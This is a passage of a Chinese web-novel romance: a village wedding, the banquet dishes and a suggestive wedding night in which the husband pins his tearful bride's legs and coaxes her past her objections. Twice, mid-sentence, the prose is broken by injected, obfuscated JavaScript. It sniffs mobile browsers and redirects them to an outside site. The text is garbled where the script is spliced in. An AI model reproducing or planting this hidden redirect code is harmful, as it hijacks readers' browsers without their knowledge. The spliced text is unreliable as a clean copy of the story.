他不舍得他好兄弟的人生留下这个缺憾,“我明儿个早点起,帮你迎了亲我就往城里跑一趟,保准晚上前把东西给你送过来,不耽误你洞房花烛。” 就当是他给兄弟添份子了。 原耕耘:“……” 他也坐起来,不可置信地看向另一边墙的周二仓,“难道没有那东西,你就不会?” 这种事难道不是看见那个人,脑子就知道是怎么回事的吗? 还非得对着画,照猫画虎地做? 周二仓急了,“……喂!你啥意思!我当然会,我啥都不看我就会!男人不会那还叫男人吗?不会可比不行都丢人!” 原耕耘第一次听这样的论断,不知道是他的一面之词,还是全天下男人都这么想。 他也不在意,反正对着向园,他既会又行,还很会很行。 聊这一会儿,受伤害的只有周二仓自己,他气闷地睡着。 原耕耘平躺着,没有丝毫睡意,他睁开眼睛,望着窗外明亮皎洁的月光。 明天值得期待,但也让他烦恼,如果他那样对她,她会不会害怕得哭着逃跑? 可她的眼泪亦能让他兴奋,他如果控制不住自己,或许就会伤了她。 不然,循序渐进? . 向园同样睡不着。 已经三天没见到耕耘哥哥了,不知道他好不好。 两人就要结为夫妻了,她明明挺高兴的,心里也愿意,可为什么到这时候,还是会有点害怕呢? 如果爹娘在,爹娘会跟她说什么呢? 如果外婆在,外婆会跟她说什么呢? 不过他们肯定都很满意耕耘哥哥,所以她没必要害怕的。 向园缓缓心神,悄悄跟爹娘外婆说了一会儿话,终于在月亮升到房顶时,沉沉睡去。 吵醒向园的,是噼里啪啦的鞭炮声——隔壁放的,还有?咚咚锵锵的锣鼓声——隔壁请的喜乐班子。 离得太近,花轿不能走回头路。 原耕耘提前修了向家西边和原家东边的两条小路。向园上了花轿,要从西边那条路走,围着绿蒲村转一圈,再从原家东边的那条路回来,刚好绕满一个圆。 原耕耘不骑马也不骑骡,他跟在轿旁。 一起跟着的还有头顶红布扎花的大黑、二黄和三白,不过它们的花比原耕耘的红团花小很多。 原本属于韩进的位置被他们占领。 韩进:“……” 他就该听梅表弟的,在家等着,等花轿到原家了再过去,让表妹夫出来迎他。 跟在轿子另一侧的梅丛殊看着,倒没说什么。 韩进只好慢两步,等轿子后头的骡车跟过来,上前找老婆说话。 吕青:“你咋过来这边了?” 婆婆是全福人都跟在轿子旁边呢。 韩进想想自己是不该过来,他摸摸脑袋,憨笑道:“没事儿,娘得了几块喜糖和点心,给阿闰和阿冉吃。” 今天阿闰负责给向园带妆奁钥匙,阿冉负责持镜护轿,这会儿一个紧紧攥着钥匙,一个乖乖捧着镜子。 韩进给俩孩子一人塞了两颗糖,怕他们腾不开手,直接塞到两人嘴里,剩下几个,直接带帕子悄悄塞给吕青。 吕青脸唰地红了,分糖给杨可真吃,也没挡住她的打趣。 绿蒲村地方不小,但花轿不走犄角旮旯的地方,顺着村路绕一圈,也只需要半个时辰工夫,这还是原耕耘特地交代过轿夫,不求快,只求稳,轿夫们走得慢的结果。 原耕耘数着脚步,步数差不多时,他们也到了原家门口。 此时才酉时三刻,距离吉时还有一刻钟工夫。 媒婆不慌了,大舅母也不急了,路上轿子慢,她们真怕误了吉时。这种事,宁可早一时半刻,也不能晚刹那须臾。 轿子终于停了,向园呼出一口气,仔细想大表舅母交代过的流程。 她脑子晕乎乎的,想了一会儿,也没想出个所以然来,干脆就不管了。反正流程再多,也不用她掺和什么,她只要乖乖坐好,等着媒婆搀她下轿即可。 外头一片喧嚷之声,间杂笑闹的声音,向园感觉盖头轻轻拂动了下,她猜测是轿帘掀开带起来的风。 果然,有人探进轿来搀扶她。 向园顺势起身,她怕碰到头,不敢站直,弯腰迈着小碎步下轿。 不敢一下迈出去是怕踩到裙摆,这喜服这样好看,她要爱惜着穿。 外面一片哗然,向园心里发紧,努力分辨这些声音都从哪个方向传来,下一秒,就被拦腰抱起。 “唔~”发出的气音被她及时扼回,耳边传来轻笑,带着新郎官特有的意气风发,“是我,不会让你沾地的,别怕。” 向园微微摇头,想起盖着盖头,可能耕耘哥哥看不清楚,便侧倾着完全靠进他怀里,小小声道:“不怕。” 说是不怕,手还是立时就挂在他脖子上。 一会儿要跨炭盆和竹筛呢,这样稳当一点。 比方才更为热烈的喝彩声响起,锣鼓唢呐伴着鞭炮声响直冲云霄,向园什么也听不见,两只手臂搂得更紧,严丝合缝贴着原耕耘的脖颈。 原耕耘抱着她,稳稳迈过炭盆和贴了红纸的竹筛,到中堂站定时,媒婆笑着喊:“正好正好,吉时正好!” 他慢慢把向园放下,扶她站稳,两人在媒婆的指导下,完成三拜。 这是在原家,对外说的还是原父和向父定下的婚事,所以中堂之上只有樊云英一人。 她又是笑又是落泪,不好让人看见,让媒婆赶紧搀着人进屋歇息。 这次向园就不慌,她能看见脚下的路,知道该怎么走,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16141811|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没跨出脚下的红毡子,原耕耘就又把她打横抱了起来。 抱紧耕耘哥哥的脖颈之时,向园她终于听清,周围那些人喊的什么 “呦嘿,新郎官这是一步都舍不得让新娘子走啊!” “新郎官真疼媳妇儿!” “九郎,真男人!” 原耕耘做的是很多男人想做,却碍于规矩和面子不敢做,或者不好意思做的事。 周二仓都很佩服,他结婚那天要是有这胆量,媳妇儿如今不得啥都听他的。 黄穗安也这样想,他想起大哥大嫂成亲那天,大哥几次抬起又收回的手,猛然发觉,有些事,一开始不打破,就再也打破不了了。 他跟着喊,“九郎,真男人!以后弟兄们都跟着你学。” 唯独不跟着喊的是周满仓,他本来起哄得最厉害,听了这话,人都蔫了。 他想娶个胖媳妇儿啊,这要是以后大家都抱媳妇儿,他抱不起来,岂不是要被人笑话死。 “满仓,咋提不起劲儿喊了?羡慕啊,赶紧让你娘给你说个媳妇儿!” 周满仓快言快语,“不行,我现在不找,我得再练练,等我能抱得起过年猪的时候再娶媳妇儿!” 他稀罕胖媳妇儿,媳妇儿再胖他也要抱稳了,决不能让人摔着。 “哈哈哈哈,你小子!” “真有你的!” “怕啥,该娶就娶,你抱不动媳妇儿,让媳妇儿抱你也行啊!” “好你个熊三,我看你这二两肉连鸡崽儿都拎不起来,还好意思笑话我呢!” “来来来,比比看,看你抱得动我还是我能抱得动你!” “我才不跟你比,谁稀罕抱你,我练练也抱媳妇儿去!” “……” 外面嬉闹喧嚷,热火朝天,屋里不遑多让。 向园一进屋,门就关上了。 大家都有分寸,亲近的妇人跟着进来凑热闹,别的就是想看,也都趴在窗户口、门缝处偷瞧,不会闯进来。 何况守门的还是三只大狗,头顶红花,一个比一个威风,大家光是看着,心里都发怵,没人敢往里头硬闯。 称心如意,合卺交杯,发结同心,撒帐求子。 走完礼,媒婆带着众人笑吟吟退了出去,留原耕耘和向园说话。 向园乖乖坐在床边,有些不敢抬头。 刚刚掀开盖头的那一刹,耕耘哥哥眼里的火星子都快迸出来把她烧熟了,真是吓人。 原耕耘坐下,扶正她的脑袋,让她面对自己,“向园,我刚刚紧张了,不是故意那样看你。” 向园试探着抬眼,不用问,就知道是真的,现在他眼里一点火光都没,都是水汽,像是要哭一般。 她深吸一口气,抬手抚了抚,又用帕子给他擦擦,小声道:“我知道的。” 又挥挥手,“耕耘哥哥,你去忙吧,我等你。” 原耕耘握住她的手腕,捉到唇边轻轻吻了片刻,“好,等我回来!” 他没有就走,反蹲下身来,给她脱了鞋,握住她双脚放在床上,“不用坐得这么板正。等会儿我让杨嫂子给你送吃的和热水来,你吃了饭就先洗漱歇歇,别撑着等我,我回来再喊你,好不好?” “好!”向园觉得,没有比这更好的安排。 原耕耘开门,门口偷听的人一哄而散,笑闹着跑开。 原耕耘只开一道缝,自己侧身出去,又严严实实关上,找杨可真交代过,去跟众人敬酒。 实际上不用他交代,樊云英就准备好了,她在想是请杨可真送过去好,还是请亲家表舅母送过去好。 要不是她当过寡妇,她自己就送过去了。 正犹豫间,杨可真进来。 樊云英也不用犹豫了,赶紧让园园吃上饭最要紧。 23. 第 23 章 身边都是熟悉的人,向园没有不自在,甚至连杨可真的打趣都没听出来。 她一说洗漱她就觉得累了,她一说吃饭她就觉出饿来,乖得不得了,弄得杨可真很没有成就感。 “你真是我见过的心最大的新娘子了。”她捏捏向园的脸。 向园没涂粉,也没搽胭脂。 面脂、口脂、胭脂和香粉,梅丛殊都买了,向园觉得那盒子还挺好看的,要是挖下来一块,就不整齐了。 所以晨起大表舅母给她上妆的时候,她就说不涂了。 大表舅母看看她的脸蛋,白净无暇,泛着淡粉色柔润的光,两腮染着红晕,也就真的没给她涂。 向园听着很好奇还很羡慕,“杨姐姐,你见过很多新娘子吗?” 杨可真:“……嗯,见过,你是最漂亮的一个。” 向园不信,“怎么会呢,成亲那天你肯定照镜子了,你自己才是最漂亮的那个。” 杨可真笑了,“你这嘴,可真是巧啊,气人的时候能把人气飞,哄人的时候也能哄得人分不清东西南北。” 关键是语气太真诚了,让人想生气都生不起来,想不笑都不行。 向园不好意思让她看着梳洗,只简单洗了手脸,催她一起吃饭,“杨姐姐,你都跑前跑后忙一天了,快坐下来,咱们吃饭。” 杨可真确实有些饿了,她早知道今天席面丰盛,一直期待着,此时也不客气,利落应了声坐下来。 两人先盛汤喝。 向园感觉自己这碗汤好像是单独做的,因为樊姨,不,现在该叫娘了,娘的厨艺不是很好,她今天要操持的事情不少,也忙不过来,所以耕耘哥哥请谷叔帮忙找了个厨子,把宴席包了出去。 听表哥说,这边定好的菜是八道。两盆两碗两热碟两冷碟。 两盆就是烩菜和八宝饭。 烩菜,一般是豆腐、肥膘肉、粉条或粉皮烩一大锅,一桌上一盆。 当然材料也不止这几样,以这几样为主,其他的就看当季有什么再加什么。 一般春天会加莴苣、韭菜、青蒜和豌豆苗,夏秋可加的菜就多一些,像茄子、冬瓜、葫芦、豇豆、辣椒等,冬天就是萝卜、白菜、莲藕、扁豆。 更精细些,还可以炸些素丸子、肉丸子搁进去,吃着又是一个味儿。 八宝饭也不是真的有八宝,乡下宴席一般都是红枣莲子糯米饭,有红豆的会加一层红豆沙,这饭蒸起来就没有不好吃的。 条件好些的人家会撒一把白糖,饭里埋一勺猪油,吃起来就更加香甜了,越甜越油腻,宾客越喜欢,越夸师傅手艺好。 两碗也不固定,大多都是一碗鸡加一碗鱼,有时家里没养那么多鸡,或者买不到鱼,就会用蹄膀或者鸭子代替,反正只要是荤的,大家就喜欢。 原家今天准备的是一碗鸡、一碗蹄膀。鸡是原耕耘打的,蹄膀是肉摊上买的。看着比鱼肉肥厚,也比鱼有滋味。 两热碟是炸面筋和炒青菜。 两冷碟是糖醋莲藕、红白萝卜鲊。 向园面前这一托盘食物很丰盛。除了烩菜,其他菜基本上都有,不过碟子要小一些,两个人吃足够的。 再就是多了这道汤,豆腐皮酸笋鸡丝汤,酸辣开胃。 向园刚喝了一口汤,杨可真已喟叹出声,“真舒服啊!” 三月天,不算热,可也不凉快,人胃口都跟着变差了。 喝这么一碗汤,杨可真觉得自己耗了一天的精气神儿都回来了,胃口也打开了。 她舀八宝饭吃,也给向园舀一碗,“你果真是个有福气的,这汤可是九郎交代大师傅单给你做的,我可跟着沾光了。” 说着,杨可真响起在灶棚里听见的话,又觉得奇怪,“你怎么不喜欢吃烩菜?” 烩菜多好吃啊,汤鲜味美,滋味浓郁,杨可真想不通这世上竟然有人不喜欢吃烩菜。 向园惊讶,她确实不太喜欢吃烩菜,但这事儿只有外婆和表哥知道,惦记着,她也没跟人说起过啊。 她咽下饭粒,含糊道:“也不是不喜欢,只是不喜欢吃加了豆芽和豆腐皮,又炖得酥烂的烩菜。” 向园自己也觉得奇怪,她喜欢吃豆芽,也喜欢吃豆腐皮,烩菜也喜欢吃,但是加了豆芽和豆腐皮的烩菜她就不喜欢。 豆腐皮和豆芽都缠到粉条上了,吃进嘴里,口感怪怪的。 还有丸子,浅浅放进烩菜里,挂了汤汁可口感依旧酥脆的,她就喜欢。但在菜汤里泡得绵软烂糊的,她就不喜欢。 杨可真虽然无法感同身受向园不喜欢的点,但她能理解。这就跟她在家时,不喜欢吃她娘炒的辣椒茄子是一个道理。 明明辣椒好吃,茄子也好吃,但经她娘一炒,总是汤汤水水的,她就不喜欢。 不过,向园比她有福气。 她在家过了十几年,她娘也没说因为她不爱吃就换个做法,而向园才回来几天,九郎就能发现她不爱吃这个。 今天菜足够多,她不爱吃九郎也没把这个撤掉,而是换一道她爱吃的。单是这份细致,多少人都拍马难及。 杨可真看向园又舀了一碗汤喝,不由笑笑,年轻真好啊。 两人吃好了,她照顾向园洗漱歇息,收了碗出去找周二仓麻烦。 她们俩吃得稍晚些,吃得也慢,外头可是风卷残云,狼吞虎咽,这个时候,差不多也要散。 先走的自然是娘家人。 原耕耘正在送客,见到她,跟她道谢,“今天多亏嫂子照顾我娘子!” 杨可真摆摆手,“你可别客气,那怎么说也是我妹子,我这个做姐姐的应当应分的!” 她请大表舅母他们去周家歇息。 原耕耘看天色不早,挽留着,也想让大表哥和大表舅一家住下,明天再走。 梅丛殊摆手拒绝,就是离得近,也没有这个道理。 “你安心吧,我跟阿得送表叔回去,若是晚,就在舅爷家住一夜,天早的话,再去槐树井。” 表妹已出嫁,他功成身退,回槐树井等着表妹三朝回门即可。 原耕耘想想,没有勉强,送他们出门。 樊云英和谷敬拎着两只开膛干净的野鸡和两坛贴了红喜字的烧酒出来。 “应该亲自上门请亲家舅姥爷的,只是婚事仓促,等两个孩子空下来,就上门拜访,替我们给老爷子道个不是。”樊云英笑道。 以当下乡野村人的亲戚关系来说,其实也没必要这样做,她这样说这样做,外人看见,顶多夸她一句礼数周到、会做人,放到一些精明人眼里,那就是十成十的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们非要走的话,他跟向园明天再过去那边拜访。 谷敬去架骡车,樊云英交代儿子,“你俩想来就来,但是你要体贴点,可别催园园早起啊,连着忙了这几天,让她好好歇歇,明天晚点儿过来,我们也有事,太早了可没人招待你!” 原耕耘:“……” 行吧,反正一个个的都比他更懂得怎么心疼向园。 送走二人,他草草收拾一番,进屋去。 向园正在泡脚。 杨可真拎来的热水,要兑着凉水用。 但她们吃了一顿饭,这水也晾得差不多了,虽然还有些烫,但用来泡脚正好。 原耕耘进来之前,向园已经简单擦洗过身子,泡了一刻钟了,她正准备把脚伸出来,就听吱呀一声,屋门被打开,原耕耘进来。 他转身阖上屋门,大踏步过来,按住向园撩起的裤腿下,微微发颤的腿。 “洗好了?”原耕耘明知故问。 气氛霎时变得危险,向园说不清哪里危险,但不由自主地紧张,呼吸困难,好像这屋里的空气都被他掠夺了似的。 24. 第 24 章 空气被原耕耘掠夺,他还不肯放手,要跟向园再洗一次,两人一块洗。 向园:“……” 脚有什么好一起洗的。 刚刚吃饭的时候,她和杨可真话赶话聊到一些夫妻间可能发生的事,懵懂知道一些东西。 但耕耘哥哥提的这个要求,向园真是不大明白。 一起洗的话,不该洗澡吗? 一起洗脚能洗出什么花来? 向园只是心中思量,没有说出来,原耕耘就当她默认了,把她双脚掂起来,轻轻搁在椅子上晾着,便端起脚盆去倒洗脚水。 没一会儿,他端着新打的一盆热水进来。 有些烫,但是是舒服的温度,向园刚泡过一会儿,已经习惯,顺着就把脚搁进去。 原耕耘出去一趟,被他掠夺的空气又回来了,向园胆子大起来,伸头看着他的背影道:“耕耘哥哥,你刚刚给我倒洗脚水了啊?” 原耕耘拿着个巾子过来,坐到向园对面的小板凳上,含笑望着她点头。 “这是头一天啊!你不知道吗?今天谁倒洗脚水,以后就要倒一辈子洗脚水了。”向园说着,脚不自觉撩了一下,带得水波晃动起来。 虽然她也是刚刚才听说还有这样的规矩,但耕耘哥哥不知道的话,那她就是比他懂。 原耕耘看着随她动作迸溅出来的几滴水珠,眼神暗了暗,喉咙传来些许痒意,他吞咽一下,道:“想让我给你倒一辈子洗脚水?” 他低着头,向园看不清他的脸,只听到他嗓音低沉,带着愉悦的笑意。 就在向园以为他要把脚放进来时,原耕耘弯下腰,把手探进水里。 高高瘦瘦的耕耘哥哥,蹲坐在小板凳上,弯腰低头,还挺贤惠的。 向园高兴一刹,就发现自己的不贤惠,连忙摇头否认:“没有没有!我可以给你倒洗脚水。” 以后俩人一起洗,给他倒也是给自己倒,还省了多跑一趟。 原耕耘握住她的脚捏了捏脚心,有些用力,向园又酸又疼又舒服,还想让他再捏一下。 “不用你倒洗脚水,不过为了让我省点劲儿,以后咱俩就一起洗,让我少跑一趟?”原耕耘说着,如她所愿,又用力捏了一下。 向园舒服地哼出声来,有些高兴他竟然和自己想到一起去,热情邀请:“耕耘哥哥,你也进来洗,热水洗着才舒服。” 这才刚刚开始,原耕耘本来就没往盆里放多少水,他把热水桶拎来放到一边,打算一边洗一边添水,不过这次倒是把脚放进盆里了。 洗脚也不耽误他给向园按摩。 原耕耘把裤腿挽到膝盖以上,把向园的脚抬起来放到自己膝盖上,两手并用……向园两脚都开始酸起来,也不知道是被他揉酸的,还是被他把积存的酸意揉出来了。 向园觉得单只自己舒服不够,她想抽回一只脚,被原耕耘握住,投来询问的目光。 “我放下来一只,你把右脚搭我膝盖上,我也帮你揉。”向园礼尚往来。 原耕耘直直看着她,手上动作不停,“向园,你知道我们今天晚上要做什么吗?” 这次按在脚心,过于酸爽,向园绷着小腿往后缩缩,“……大概知道一点儿。” 原耕耘加重力道,“要做什么?” 向园一抖,“学习!” 好像不太充分,耕耘哥哥不满意,又按她脚心。 “观摩!”她补充。 不够深奥,耕耘哥哥还不满意,揉捏她的脚踝。 “切磋!”她再次补充。 原耕耘笑了,虽然不知道谁跟她说的,但这样说也没错。 他鼓励道:“很对,你知道学习什么,怎么学习吗?” 趁她脚搭在膝盖上,他添了一瓢热水。 向园没想到他问这个,“你可以先学,你学会了再教我。” 她还没来得及看那小匣子,她昨天放到箱子最底下,现在掏的话可能不太好掏,所以…… “我们明天再学吧,明天有空了学。” 她明天再掏,今天确实有点累了。 耕耘哥哥捏这一会儿,把她的脚都捏软了,也把她的困意捏出来了,向园掩着嘴打了个哈欠。 原耕耘:“……也好!” 他看了看窗外,初十宵月,此时方才升上夜空,要不了几天,这月亮就要圆满了。 他去倒洗脚水,没有交代向园等他,但他知道,即便他不说,向园也不会一个人睡。 向园的确没有睡,尽管很困,她还是盘腿坐着等他回来,不过倒是把喜服脱了,好好叠起来,放在床头的小桌上。 她的脚被捏的很舒服,她一会儿想直接睡觉,不想再走路了。 原耕耘仔细洗过手,又简单冲下身子,也没再穿衣服,简单披了个袍子,抱着他的喜服走进屋。 散开的前襟随他行走晃动,隐隐约约露出里面的肌肤,向园看见,眼睛亮亮。 耕耘哥哥真白! 她招招手,“耕耘哥哥,快来睡觉啦!” 原耕耘声线还算稳,点头道:“就来!” 说是就来,还是慢条斯理地把自己的喜服折好,放在她叠好的喜服下,又检查了一下门闩和窗户上的环纽,确认没问题后,在墙角的盆架处洗了一遍手,才踱步到床边。 手腕粗的大红烛,没有雕龙刻凤,没有镶金错银,可照出来的光一样是红彤彤、亮堂堂的,映得向园红光满面,看着就让人心生欢喜。 原耕耘盘腿坐到她对面,只放下一层绯红纱帐,外头红色的棉帐是昨日新挂上的,有些厚重,他没有撩下来。 这样一幅促膝长谈的样子,让向园有些不安。 “睡吧。”她歪着头,勾着眼觑他,哄他睡觉。 “还要等一会儿。”原耕耘伸出胳膊,掐着她的腰把她捞了过来,告诉她,“这边是床头。” 猛地悬空,向园腿都盘紧了,直到再次挨着床面,她才松懈下来,倚着他懒洋洋道:“我只是在等你,不是没看见枕头。” 原耕耘撩起她散下来的鬓发别回耳后,“嗯,我知道。向园,我们是夫妻了,夫妻就是每日每夜都要在一起,要做许多夫妻间才能做的事。” 向园点头,“我明白。” 她点完就歪着脑袋听,盼着原耕耘赶紧讲完,好睡觉。 “我们一会儿还要做一件事,这件事对夫妻来讲很重要,可能以后每天都要做,想起来就要做。”原耕耘伸直腿,把她抱到自己腿上侧身坐着,声音清浅似耳语。 向园顺势就靠在他胸膛上。 原耕耘亲亲她的鬓发,“所以,开始一定要做好,第一次快活了,以后再做,才不会受罪。一会儿你要是舒服就跟我讲,要是讲不出话就抱我,我就知道是什么意思。要是不舒服……” “不舒服会怎样?”讲到向园关注的重点,她仰起头,问得认真。 “要是不舒服,你就踢我踹我咬我打我,总之不能放纵我。”原耕耘也认真教她,“夫妻之间就是这样,我放肆了,你就要约束我。你克制了,我就要纵你宠你疼你。但两颗心在两个人肚儿里装着,怎么能你知我我知你呢?就是要讲,你心里的话 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衣裳一件一件被解开,一件一件被扔到一边,最后一件,是原耕耘的蓝色袍子,他直接扔到帐外。 毕竟那样深浓的蓝色,跟这香馥馥的帐子,粉玉般的人一点都不搭。 原耕耘只把自己抛舍进来,赴她的巫山之梦。 “向园,这叫相濡以沫。”下口之前,他这样教她。 因为相濡以沫,所以要亲吻,从圆润的肩头开始,这是一个绝对安全的领域。 向园没有过分排斥,她只是闭着眼睛,眼睫轻颤,认真分辨舒服与不舒服的界限。 好像没有舒服,也没有不舒服。 这种情况在原耕耘的唇探索到某个地方某种程度时发生改变。 “骗人的,你是骗人的。”向园泪眼朦胧。 这种事情根本谈不上舒不舒服,只有奇不奇怪,害不害怕。 原耕耘收敛眼里的翻涌的巨浪,抬起头来,目光灼灼盯着她,“那你为什么不踢我,不踹我?” 向园眼睫濡湿,像是关窗之前,月亮在上头凝结了露水,“你按着我的腿。” “你也没有咬我。” “我、我够不到。” “打我?”原耕耘把脸伸过去,捞她的手。 向园往回缩,“我不打你,唔~” 原耕耘单膝跪着,撑到枕头边来,吻她的泪珠,她的眼睑,她的脸庞,“你不舍得。向园,你不舍得。” 不舍得打他,哪怕他欺负她。 向园愣住,含泪控诉:“你骗我。” 原耕耘摇头,定定看着她,“我没有骗你。” 他轻笑,“我只是忘记了,第一次,只有习不习惯,没有舒不舒服。” 可第一次,哪有习惯的呢? 他的感受不同,是因为同样的事情,他在梦中和她做过千百遍,没有不快活的,也没有不舒服的,只有心疼和心痒,越发心疼和越发心痒,她给的伤痕,都是功勋。 向园又相信了,她气自己不争气,耕耘哥哥说的话,她总是轻易就信。 原耕耘轻轻啄吻她的额头,声音如水般温柔:“你放开身心去感受,不要想这样对不对,好不好,羞不羞。我们成了亲,就是夫妻一体,你快活我就快活,你难过我也要难过。所以,别去想别的,只用身体感受,感受我,也感受你自己,好不好?” 25. 第 25 章 不好,向园一点都不好。 人是无法控制感受的,不是感觉到羞身体才变烫变红,而是身体先给出反应,人才分辨出这种感觉叫羞耻。 “不要了,”向园呜咽,“呜~别用嘴……” 那是吃饭和说话用的啊,怎么能用它在肌肤上辗转。 原耕耘不语,听她的呼吸,不平稳,但也不急促,她在有意无意地控制。 这算是一种进步? 他埋头继续…… 她的胳膊真的很瘦,像是不知道该往哪搁似的,一会儿交叉抱着,一会儿往下捂着,一会儿又贴着被子紧紧抓住,却始终没有往他身上挨一下、碰一下。 他低头,眼眶一缩,发现了一点东西…… 是一颗小小的痣,娇娇的深红色,如梅花落在雪地里,靡颜腻理,别具风姿,只是位置蹊跷,若不对着镜子,或许她自己都不会知道,都不曾见过。 “向园……”原耕耘嗓音暗哑,尾音拉得很长,又顿住,似乎不知道此时此刻应当说些什么。 他手指抚摸她的侧额、脸颊,帮她捋开细碎的头发,从上至下,逡巡游走,似乎是要巡逻自己的领地,一丝一毫也不肯放过。 “呜~”一丝泣音溢出喉舌,可怜巴巴的。向园像砧板上的鱼,被人揪着尾巴,却还要弹起来做最后的反击。 她弹起来了,不只弹起来了,还弹到锅里。 原耕耘轻笑出声,“我是想说,如果你不习惯,我们明天再继续,但是……” 他触碰那颗小痣,不用看也记得清位置的小痣,“但是,好夫妻勤学不倦。 “明日复明日,明日何其多。今日不学完,我们这辈子都学不完了。” 他第一次,吻上她的唇,舌尖徘徊、唇瓣碾磨、眼神辗转流连,看她颤巍巍闭不上又睁不开的眼睛。 相呴以湿,相濡以沫,就不可能相忘于江湖了。 向园不记得自己何时睡去,脑海中盘桓不去的念头只有一个——这夫妻之学,开篇就很难。 原耕耘胀痛难消,她在身边,就更加难熬。 一夜红烛燃尽,他看两烛同灭,才阖上眼。 向园如常在辰初时分醒来,只是这屋子朝西开窗,和外间又有隔断,她看不见日头,分辨不出时间。 感觉到他的手又像昨天那样碰自己,她往后撅了撅。 感受到她的动作,原耕耘也醒了,把她往近处拽了拽。 刚被向园拖远一点的距离瞬间消失,比她没动弹前还近。 在彻底陷入他的掌控前,向园使劲儿往后退。 原耕耘不勉强,怕她撅到墙根去,稍稍松开手,声音有些沙哑,“辰初了,现在起还是继续睡?” 向园这一觉睡得饱足,仔细想来,昨天并没有睡得很晚,现在也不是很早。 她脚不疼,腰不酸,伸完懒腰,还觉出几分神清气爽来。 “现在起吧。”她神采奕奕。 相比之下,原耕耘就惨淡多了,他眼底带青,眼神幽暗,很想把精神饱满的向园整个儿吞掉。 吞不掉,咬一口,咂一下也是好的。 腰被揽住,坐起的向园又被捞回去,软乎的棉花枕换了个位置竖着放,她砸在枕头上。 “教你一点别的。”他握住她的手。 自己触碰他,比他触碰自己好受得多,不是身体的感受,而是心里的感受。 向园觉得这个可以接受,任凭他握着手,用眼神描摹他的轮廓——侧躺着压在枕上,棱角分明的脸少了几分冷峻,多了几分柔情。 她眼睛清凌凌、亮晶晶的,有好奇,有惊叹,唯独没有羞涩,她放开胆子看他,因她知道,他昨晚就是这样看她的,或许看他此时的表情就能知道昨晚的自己是什么样子。 原耕耘气闷,吻她的唇,“你喜欢吗?” 向园摇头,跟喜欢不喜欢无关,依旧是习惯不习惯的问题。 “那为什么不推开?我现在没有按你的腿,你可以踢我踹我。我离你很近,你可以咬我打我。” 他教她,做一个凶媳妇儿。 向园摇头,“你喜欢。” 他把她教的更乖了。 原耕耘很满足。 尽管明白这世上还有太多和她有关的,能让他更满足的事。 但今天,到此为止,他很满足,很知足。 最后手心一片濡./湿,向园感觉到一些不同寻常的东西。 他跟她,很不一样。 男人跟女人,很不一样。 如果昨天他像自己现在这样,用手那样对待自己,她会有和他现在一样的反应吗? 未解的答案,她不敢问,可好奇的种子埋下了。 夫妻之间不能相互猜谜,那颗种子总有被原耕耘扒出来的那一天,或许还会用心浇灌,种子会长成参天大树。 那时候,就不是好奇的种子了,而是知识的树。 原耕耘先起的,他让向园再躺一会儿,他去烧水,给她洗澡。 向园第一次被这种东西弄脏。粘稠的,浓郁的,像是被带有浓重气味的花树包裹……如果不洗洗,她觉得可能一整天都要笼罩在这个味道里,她也想洗洗。 她泡完澡出来,原耕耘已经做好饭。 宴席做的菜多出来的都分给过来帮忙的人了,为宴席准备的食材还有,单给她做的那道鸡丝汤也还有。 原耕耘厨艺有限,把汤滚一滚,再炒一个面筋,炒一个莲藕,热几个馒头,就足够他俩吃了。 向园坐到他对面,觉得很神奇。 只不过半个多时辰过去,他眼底的青黑就消散了,萎靡一扫而空,反而是她,蔫嗒嗒的,泡了澡也提不起精神。 难道这种事情,还能把一个人的精气神儿转移到另一个人身上? 或许是他故意抽走的?今天的他和今天之前的他,的确很不一样。 这样想,向园的目光不由就变得有些呆滞。 “向园,”原耕耘挥挥手,“傻了?” “没有。”向园偷瞅他一眼,低头舀汤喝。 原耕耘坐不安生,端着凳子挤到她旁边,贴着她坐。 向园往墙边让让。 他又往里挤。 “要不咱俩换换位子?”向园建议。 原耕耘:“……两口子吃饭都是这样的。” 他让向园习惯。 向园不上当,“我爹娘就不这样。” 樊姨和敬叔也不这样,周二仓和杨姐姐也不这样,她见过的两口子,就没有这样的。 “你看见的时候,他们当然不这样。两口子这样,肯定都挑别人看不见的时候。”原耕耘振振有词。 向园想质疑,但她又觉得他说的可能是真的。 因为小时候她在外边玩,偶尔的确会看到爹和娘贴得很近。 或许两口子真就是这样的? 向园退了一步,“那我们夏天秋天不要这样吧?” 原耕耘挑了挑眉,“为什么?” “你太热了。”她一个人就很凉快,可耕耘哥哥一贴近,她马上就热起来,心里也燥燥的,这还没入夏呢。 “夏天我就变凉了,到时候给你降温。我们一年四季都要这样,我冬天体温热,夏天体温凉,这会儿热是因为冬天的劲儿还没过去,过半个月我就凉快了。”原耕耘面不改色。 “那等你凉快再说。”向园很怀疑,怎么会有人的体温随季节变化? 就是随季节变化,她也只听说过夏天变热,冬天变冷的,还没见过冬暖夏凉的。 “可以。”原耕耘不怕。 距离夏天还有一旬,他可以慢慢磨,即便不贪他的体温,也要让她贪点别的东西,只有他有的东西。 他夹了块面筋放嘴里。 炒得狠了,黏糊糊的,她估计不爱吃。 他又尝了下莲藕。 味道淡了点,但还是脆的,而且加了醋,她可能喜欢。 他给她夹莲藕,恨不得把馒头掰开,一块一块喂给她。 至于他自己,刚刚才吃过一餐好食,他一点不饿,看着她吃,他就饱了。 向园礼尚往来,给他夹菜,他也吃掉,只是慢吞吞的。 向园催他,“耕耘哥哥,你快点吃,我们还要去看娘。” 他饭量大,这样吃,得吃到什么时候去。 向园三下五除二把自己那碗汤喝干净,专注给他夹菜。 原耕耘这才恢复正常。 吃完饭,两人简单收拾下,原耕耘拉着向园去里正家借骡车。 